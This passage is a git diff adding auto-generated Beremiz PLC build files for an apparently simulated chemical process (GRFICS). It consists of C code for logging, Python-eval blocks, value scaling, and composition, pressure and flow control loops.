+ + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + 